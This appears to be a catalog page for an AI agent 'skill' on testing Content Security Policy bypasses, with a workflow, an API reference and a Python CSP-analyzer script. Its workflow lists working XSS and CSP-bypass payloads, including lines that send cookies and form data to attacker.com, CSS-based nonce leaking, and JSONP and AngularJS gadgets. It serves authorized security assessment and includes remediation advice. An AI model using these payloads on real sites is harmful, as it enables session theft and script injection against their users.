Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-SkillsFramework mappings
MITRE ATT&CK
When to Use
- When XSS is found but execution is blocked by Content Security Policy
- During web application security assessments to evaluate CSP effectiveness
- When testing the robustness of CSP against known bypass techniques
- During bug bounty hunting where CSP prevents direct XSS exploitation
- When auditing CSP header configuration for security weaknesses
Prerequisites
- Burp Suite for intercepting responses and analyzing CSP headers
- CSP Evaluator (Google) for automated policy analysis
- Understanding of CSP directives (script-src, default-src, style-src, etc.)
- Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)
- Browser developer tools for CSP violation monitoring
- Collection of whitelisted domain JSONP endpoints
Workflow
Step 1 — Analyze the CSP Policy
# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"
# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"
# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis
# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly
# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'Step 2 — Exploit unsafe-inline and unsafe-eval
# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">
# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>
# If 'unsafe-inline' with nonce:
# unsafe-inline is ignored when nonce is present (CSP3)
# Focus on nonce leaking insteadStep 3 — Exploit Whitelisted Domain JSONP Endpoints
# If CSP whitelists a domain with JSONP endpoints:
# script-src 'self' https://accounts.google.com
# Find JSONP endpoints on whitelisted domains
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
# Common JSONP endpoints:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js
# If AngularJS is whitelisted (CDN):
# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
# Exploit JSONP on whitelisted APIs
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>Step 4 — Exploit base-uri and Form Action Bypasses
# If base-uri is not restricted:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script src will load from attacker.com
# If form-action is not restricted:
# Steal data via form submission
<form action="https://attacker.com/steal" method="POST">
<input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>
# If object-src is not restricted:
# Use Flash or plugin-based XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">Step 5 — Exploit Nonce and Hash Bypasses
# Nonce leaking via CSS attribute selectors
# If attacker can inject HTML (but not script due to CSP nonce):
<style>
script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# Brute-force each character position to leak the nonce
# Nonce reuse detection
# If the same nonce is used across multiple pages or requests:
# Capture nonce from one page, use it to inject script on another
# DOM clobbering to override nonce checking
<form id="csp"><input name="nonce" value="attacker-controlled"></form>
# Script gadgets in whitelisted libraries
# If a whitelisted JS library has a gadget that creates scripts:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# DOMPurify bypass via prototype pollution
# Policy injection via reflected parameters
# If CSP header reflects user input:
# Inject: ;script-src 'unsafe-inline'
# Or inject: ;report-uri /csp-report;script-src-elem 'unsafe-inline'Step 6 — Exploit Data Exfiltration Without script-src
# Even without script execution, data exfiltration is possible:
# Via img-src (if allows external):
<img src="https://attacker.com/steal?data=SENSITIVE_DATA">
# Via CSS injection (if style-src allows unsafe-inline):
<style>
input[value^="a"] { background: url("https://attacker.com/?char=a"); }
input[value^="b"] { background: url("https://attacker.com/?char=b"); }
</style>
# Via connect-src (if allows external):
<script nonce="valid">
fetch('https://attacker.com/steal?data=' + document.cookie);
</script>
# Via DNS prefetch:
<link rel="dns-prefetch" href="//data.attacker.com">
# Via WebRTC (if not blocked):
# WebRTC can leak data through STUN/TURN serversKey Concepts
| Concept | Description |
|---|---|
| unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection |
| Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones |
| JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks |
| Policy Injection | Injecting CSP directives through reflected user input in headers |
| base-uri Hijacking | Redirecting relative script loads by injecting a base element |
| Script Gadgets | Legitimate library features that can be abused to bypass CSP |
| CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |
Tools & Systems
| Tool | Purpose |
|---|---|
| CSP Evaluator | Google tool for analyzing CSP policy weaknesses |
| Burp Suite | HTTP proxy for CSP header analysis and bypass testing |
| CSP Scanner | Browser extension for identifying CSP bypass opportunities |
| csp-bypass | Curated list of CSP bypass techniques and payloads |
| RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs |
| DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |
Common Scenarios
- JSONP Callback XSS — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads
- AngularJS Sandbox Escape — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions
- Nonce Leakage — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces
- Base URI Hijacking — Inject base element to redirect all relative script loads to attacker-controlled server
- Report-Only Exploitation — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS
Output Format
## CSP Bypass Assessment Report
- **Target**: http://target.com
- **CSP Mode**: Enforced
- **Policy**: script-src 'self' https://cdn.jsdelivr.net; default-src 'self'
### CSP Analysis
| Directive | Value | Risk |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | JSONP/Library bypass possible |
| default-src | 'self' | Moderate |
| base-uri | Not set | base-uri hijacking possible |
| object-src | Not set (falls back to default-src) | Low |
### Bypass Techniques Found
| # | Technique | Payload | Impact |
|---|-----------|---------|--------|
| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |
| 2 | Missing base-uri | <base href="https://evil.com/"> | Script hijack |
### Remediation
- Remove whitelisted CDN domains; use nonce-based or hash-based CSP
- Add base-uri 'self' to prevent base element injection
- Add object-src 'none' to block plugin-based execution
- Migrate from unsafe-inline to strict nonce-based policy
- Implement strict-dynamic for modern CSP3 browsersSource materials
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md6.5 KB
API Reference: Content Security Policy (CSP) Bypass Testing
Libraries Used
| Library | Purpose |
|---|---|
requests |
Fetch target page headers and HTML content |
re |
Parse CSP directives and detect bypass patterns |
json |
Structure findings and report output |
urllib.parse |
Parse and analyze allowed CSP source domains |
Installation
pip install requestsCSP Directive Reference
| Directive | Controls |
|---|---|
default-src |
Fallback for all resource types |
script-src |
JavaScript execution sources |
style-src |
CSS stylesheet sources |
img-src |
Image sources |
connect-src |
XMLHttpRequest, fetch, WebSocket |
font-src |
Font file sources |
object-src |
Plugin sources (Flash, Java) |
frame-src |
iframe embedding sources |
base-uri |
Controls <base> tag URLs |
form-action |
Controls form submission targets |
frame-ancestors |
Controls who can embed this page |
report-uri |
CSP violation report endpoint |
Core Operations
Fetch and Parse CSP Header
import requests
import re
def get_csp(url):
resp = requests.get(url, timeout=10)
csp = resp.headers.get("Content-Security-Policy", "")
csp_ro = resp.headers.get("Content-Security-Policy-Report-Only", "")
return {
"url": url,
"csp": csp,
"csp_report_only": csp_ro,
"has_csp": bool(csp),
"directives": parse_csp(csp) if csp else {},
}
def parse_csp(csp_string):
directives = {}
for directive in csp_string.split(";"):
parts = directive.strip().split()
if parts:
name = parts[0].lower()
values = parts[1:] if len(parts) > 1 else []
directives[name] = values
return directivesAnalyze CSP for Weaknesses
BYPASS_PATTERNS = {
"'unsafe-inline'": "Allows inline scripts — XSS bypass",
"'unsafe-eval'": "Allows eval() — code injection bypass",
"data:": "Allows data: URIs — can inject inline content",
"blob:": "Allows blob: URIs — can create executable blobs",
"*": "Wildcard source — no effective restriction",
"http:": "Allows HTTP — mixed content / MITM bypass",
}
JSONP_ENDPOINTS = [
"accounts.google.com", "ajax.googleapis.com",
"cdn.jsdelivr.net", "cdnjs.cloudflare.com",
"*.githubusercontent.com", "raw.githubusercontent.com",
]
def analyze_csp(directives):
findings = []
# Check for missing critical directives
if "default-src" not in directives and "script-src" not in directives:
findings.append({
"directive": "script-src",
"issue": "No script-src or default-src — scripts unrestricted",
"severity": "critical",
})
if "object-src" not in directives:
findings.append({
"directive": "object-src",
"issue": "Missing object-src — plugin-based XSS possible",
"severity": "high",
})
if "base-uri" not in directives:
findings.append({
"directive": "base-uri",
"issue": "Missing base-uri — base tag injection possible",
"severity": "medium",
})
# Check each directive for bypass patterns
for directive, values in directives.items():
for value in values:
if value in BYPASS_PATTERNS:
findings.append({
"directive": directive,
"value": value,
"issue": BYPASS_PATTERNS[value],
"severity": "high" if value in ("'unsafe-inline'", "'unsafe-eval'", "*") else "medium",
})
# Check for JSONP-hosting CDNs
for jsonp_host in JSONP_ENDPOINTS:
if jsonp_host in value or value.endswith(jsonp_host):
findings.append({
"directive": directive,
"value": value,
"issue": f"Allows {jsonp_host} — JSONP/script gadget bypass possible",
"severity": "high",
})
return findingsCheck for Nonce/Hash Based CSP
def check_nonce_hash(directives, html_content):
script_src = directives.get("script-src", [])
nonces = [v for v in script_src if v.startswith("'nonce-")]
hashes = [v for v in script_src if v.startswith("'sha256-") or v.startswith("'sha384-")]
findings = []
if nonces:
# Check if nonce is reused (static)
nonce_value = nonces[0].strip("'").replace("nonce-", "")
if len(nonce_value) < 16:
findings.append({
"issue": "Nonce is too short — may be predictable",
"severity": "medium",
})
if not nonces and not hashes and "'strict-dynamic'" not in script_src:
if "'unsafe-inline'" not in script_src:
findings.append({
"issue": "No nonce, hash, or strict-dynamic — consider adding",
"severity": "info",
})
return {"nonces": len(nonces), "hashes": len(hashes), "findings": findings}Generate Bypass Payloads
def suggest_bypasses(directives):
"""Suggest CSP bypass techniques based on the policy."""
bypasses = []
script_src = directives.get("script-src", directives.get("default-src", []))
if "'unsafe-inline'" in script_src:
bypasses.append({
"technique": "Inline script injection",
"payload": "<script>alert(document.domain)</script>",
})
if "'unsafe-eval'" in script_src:
bypasses.append({
"technique": "eval() injection",
"payload": "<img src=x onerror=\"eval(atob('YWxlcnQoMSk='))\">",
})
if any("googleapis.com" in v for v in script_src):
bypasses.append({
"technique": "Google JSONP callback",
"payload": "<script src='https://accounts.google.com/o/oauth2/revoke?callback=alert(1)'></script>",
})
if "data:" in script_src:
bypasses.append({
"technique": "Data URI script",
"payload": "<script src='data:text/javascript,alert(1)'></script>",
})
return bypassesOutput Format
{
"url": "https://example.com",
"has_csp": true,
"directives_count": 8,
"findings": [
{
"directive": "script-src",
"value": "'unsafe-inline'",
"issue": "Allows inline scripts — XSS bypass",
"severity": "high"
}
],
"bypass_techniques": 2,
"overall_rating": "weak"
}Scripts 1
agent.py11.0 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Content Security Policy (CSP) analysis and bypass testing agent.
Fetches and analyzes CSP headers from web applications to identify
misconfigurations, overly permissive directives, and potential bypass
vectors. Tests for unsafe-inline, unsafe-eval, wildcard sources,
missing directives, and known CSP bypass patterns.
AUTHORIZED TESTING ONLY: Only use against targets you have explicit
written permission to test.
"""
import argparse
import json
import re
import sys
from datetime import datetime, timezone
try:
import requests
except ImportError:
print("[!] 'requests' library required: pip install requests", file=sys.stderr)
sys.exit(1)
CSP_DIRECTIVES = [
"default-src", "script-src", "style-src", "img-src", "font-src",
"connect-src", "media-src", "object-src", "frame-src", "child-src",
"worker-src", "frame-ancestors", "form-action", "base-uri",
"manifest-src", "prefetch-src", "navigate-to",
]
def fetch_csp(url, headers=None, cookies=None):
"""Fetch CSP header(s) from a URL."""
print(f"[*] Fetching CSP from {url}")
h = headers or {}
c = cookies or {}
resp = requests.get(url, headers=h, cookies=c, timeout=15, allow_redirects=True)
csp_header = resp.headers.get("Content-Security-Policy", "")
csp_ro = resp.headers.get("Content-Security-Policy-Report-Only", "")
print(f"[+] Status: {resp.status_code}")
if csp_header:
print(f"[+] CSP header found ({len(csp_header)} chars)")
else:
print("[!] No CSP header found")
if csp_ro:
print(f"[+] CSP-Report-Only header found ({len(csp_ro)} chars)")
return csp_header, csp_ro, resp.status_code
def parse_csp(csp_string):
"""Parse a CSP string into a structured dict."""
directives = {}
if not csp_string:
return directives
for part in csp_string.split(";"):
part = part.strip()
if not part:
continue
tokens = part.split()
if tokens:
directive_name = tokens[0].lower()
values = tokens[1:] if len(tokens) > 1 else []
directives[directive_name] = values
return directives
def analyze_csp(directives, csp_string):
"""Analyze CSP directives for security weaknesses."""
findings = []
# Missing CSP entirely
if not directives:
findings.append({
"check": "CSP Header Present",
"severity": "HIGH",
"status": "MISSING",
"description": "No Content-Security-Policy header",
"recommendation": "Implement a CSP header",
})
return findings
# Check for missing critical directives
if "default-src" not in directives:
findings.append({
"check": "default-src directive",
"severity": "HIGH",
"status": "MISSING",
"description": "No default-src fallback directive",
"recommendation": "Add default-src 'none' or default-src 'self'",
})
if "script-src" not in directives and "default-src" not in directives:
findings.append({
"check": "script-src directive",
"severity": "CRITICAL",
"status": "MISSING",
"description": "No script-src or default-src; scripts unrestricted",
})
if "object-src" not in directives:
findings.append({
"check": "object-src directive",
"severity": "MEDIUM",
"status": "MISSING",
"description": "Missing object-src; plugin-based XSS possible",
"recommendation": "Add object-src 'none'",
})
if "base-uri" not in directives:
findings.append({
"check": "base-uri directive",
"severity": "MEDIUM",
"status": "MISSING",
"description": "Missing base-uri; base tag injection possible",
"recommendation": "Add base-uri 'self' or base-uri 'none'",
})
if "frame-ancestors" not in directives:
findings.append({
"check": "frame-ancestors directive",
"severity": "MEDIUM",
"status": "MISSING",
"description": "Missing frame-ancestors; clickjacking possible",
"recommendation": "Add frame-ancestors 'self'",
})
# Analyze each directive
for directive, values in directives.items():
values_str = " ".join(values)
# unsafe-inline
if "'unsafe-inline'" in values:
sev = "CRITICAL" if directive in ("script-src", "default-src") else "MEDIUM"
findings.append({
"check": f"unsafe-inline in {directive}",
"severity": sev,
"status": "FAIL",
"description": f"'unsafe-inline' allows inline scripts/styles in {directive}",
"bypass": "Inject inline <script> or event handlers",
})
# unsafe-eval
if "'unsafe-eval'" in values:
findings.append({
"check": f"unsafe-eval in {directive}",
"severity": "CRITICAL" if directive in ("script-src", "default-src") else "HIGH",
"status": "FAIL",
"description": f"'unsafe-eval' allows eval() and similar in {directive}",
"bypass": "Use eval(), Function(), setTimeout('string') for XSS",
})
# Wildcard sources
if "*" in values:
findings.append({
"check": f"Wildcard (*) in {directive}",
"severity": "HIGH",
"status": "FAIL",
"description": f"Wildcard source in {directive} allows loading from any origin",
"bypass": "Host payload on any domain",
})
# data: URI
if "data:" in values and directive in ("script-src", "default-src", "object-src"):
findings.append({
"check": f"data: URI in {directive}",
"severity": "HIGH",
"status": "FAIL",
"description": f"data: URI in {directive} allows inline data execution",
"bypass": "Use data:text/html payload or data:application/javascript",
})
# blob: URI
if "blob:" in values and directive in ("script-src", "default-src", "worker-src"):
findings.append({
"check": f"blob: URI in {directive}",
"severity": "MEDIUM",
"status": "FAIL",
"description": f"blob: URI in {directive} may allow bypass via Blob URLs",
})
# Known bypass CDNs
bypass_cdns = ["cdn.jsdelivr.net", "cdnjs.cloudflare.com", "unpkg.com",
"ajax.googleapis.com", "raw.githubusercontent.com"]
for cdn in bypass_cdns:
if cdn in values_str:
findings.append({
"check": f"Bypassable CDN in {directive}",
"severity": "HIGH",
"status": "FAIL",
"description": f"{cdn} in {directive} can host arbitrary scripts",
"bypass": f"Upload/find malicious script on {cdn}",
})
# http: in HTTPS context
if any(v.startswith("http:") for v in values):
findings.append({
"check": f"HTTP source in {directive}",
"severity": "MEDIUM",
"status": "FAIL",
"description": f"HTTP source allows MitM injection in {directive}",
})
return findings
def format_summary(url, directives, findings, csp_string):
"""Print analysis summary."""
print(f"\n{'='*60}")
print(f" CSP Analysis Report")
print(f"{'='*60}")
print(f" URL : {url}")
print(f" Directives : {len(directives)}")
print(f" Findings : {len(findings)}")
severity_counts = {}
for f in findings:
sev = f.get("severity", "INFO")
severity_counts[sev] = severity_counts.get(sev, 0) + 1
print(f"\n By Severity:")
for sev in ["CRITICAL", "HIGH", "MEDIUM", "LOW", "INFO"]:
count = severity_counts.get(sev, 0)
if count > 0:
print(f" {sev:10s}: {count}")
if directives:
print(f"\n Parsed Directives:")
for d, v in directives.items():
print(f" {d:20s}: {' '.join(v)[:60]}")
if findings:
print(f"\n Security Issues:")
for f in findings:
if f["severity"] in ("CRITICAL", "HIGH"):
bypass = f" | Bypass: {f['bypass']}" if f.get("bypass") else ""
print(f" [{f['severity']:8s}] {f['check']}{bypass}")
return severity_counts
def main():
parser = argparse.ArgumentParser(
description="CSP analysis and bypass testing agent (authorized testing only)"
)
parser.add_argument("--url", required=True, help="Target URL to fetch CSP from")
parser.add_argument("--csp-string", help="Analyze a CSP string directly instead of fetching")
parser.add_argument("--header", nargs="+", help="Custom headers (key:value)")
parser.add_argument("--cookie", help="Cookie string")
parser.add_argument("--output", "-o", help="Output JSON report path")
parser.add_argument("--verbose", "-v", action="store_true")
args = parser.parse_args()
if args.csp_string:
csp_string = args.csp_string
csp_ro = ""
status_code = 0
else:
headers = {}
if args.header:
for h in args.header:
k, v = h.split(":", 1)
headers[k.strip()] = v.strip()
cookies = {}
if args.cookie:
for pair in args.cookie.split(";"):
if "=" in pair:
k, v = pair.strip().split("=", 1)
cookies[k] = v
csp_string, csp_ro, status_code = fetch_csp(args.url, headers or None, cookies or None)
directives = parse_csp(csp_string)
findings = analyze_csp(directives, csp_string)
if csp_ro:
ro_directives = parse_csp(csp_ro)
findings.append({
"check": "CSP-Report-Only mode",
"severity": "MEDIUM",
"status": "WARN",
"description": "CSP in report-only mode does not enforce restrictions",
})
severity_counts = format_summary(args.url, directives, findings, csp_string)
report = {
"timestamp": datetime.now(timezone.utc).isoformat(),
"tool": "CSP Analyzer",
"url": args.url,
"csp_header": csp_string,
"csp_report_only": csp_ro,
"directives": {k: v for k, v in directives.items()},
"findings": findings,
"severity_counts": severity_counts,
"risk_level": (
"CRITICAL" if severity_counts.get("CRITICAL", 0) > 0
else "HIGH" if severity_counts.get("HIGH", 0) > 0
else "MEDIUM" if severity_counts.get("MEDIUM", 0) > 0
else "LOW"
),
}
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"\n[+] Report saved to {args.output}")
elif args.verbose:
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()
Keep exploring